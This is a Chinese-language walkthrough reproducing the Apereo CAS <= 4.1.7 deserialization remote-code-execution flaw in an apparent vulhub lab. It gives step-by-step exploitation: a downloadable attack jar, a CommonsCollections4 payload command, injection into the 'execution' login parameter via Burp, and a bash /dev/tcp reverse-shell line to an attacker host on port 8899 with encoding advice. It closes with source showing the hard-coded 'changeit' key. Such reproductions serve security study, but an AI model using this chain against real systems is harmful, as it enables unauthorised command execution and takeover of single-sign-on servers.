漏洞复现-apereo-cas-4.1-rce
0x00 实验环境
攻击机:Win 10
靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)
0x01 影响版本
影响版本 Apereo CAS <= 4.1.7(Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。)
0x02 漏洞复现
(1)访问页面:(其实这个页面并不常见,大部分应该都是有修改过,挖漏洞也很少遇到这类,版本为4.1.5,存在该漏洞)
(2)下载命令执行工具生成payload:
https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "mkdir 123"
(3)上面的即为我们的payload了,直接在登录页面进行抓包,修改命令为payload即可:
(4)发送至repeater模块,修改参数“execution”为生成的payload:
可以发现肉鸡生成了一个123的文件夹,这个工具没法直接将结果返回过来,因此大部分情况都是用来反弹shell。
(5)反弹shell的命令:
/bin/bash -i > /dev/tcp/xx.xx.xx.xx/8899 0<&1 2>&1
这里不能直接放在里面,需要编码一下命令才行,复现久了就能习惯性的知道怎么做了:
在网站:http://www.jackson-t.ca/runtime-exec-payloads.html
转换一下命令的编码格式,然后再去生成payload:
然后直接执行命令,在自己的攻击机vps上监听8899,burp发包即可:
发一下包就能获取到反弹回来的shell:
0x04 漏洞原理
Webflow中使用了默认密钥changeit:
public class EncryptedTranscoder implements Transcoder { private CipherBean cipherBean; private boolean compression = true; public EncryptedTranscoder() throws IOException { BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean(); bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7")); bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore()); bufferedBlockCipherBean.setKeyAlias("aes128"); bufferedBlockCipherBean.setKeyPassword("changeit"); bufferedBlockCipherBean.setNonce(new RBGNonce()); this.setCipherBean(bufferedBlockCipherBean); }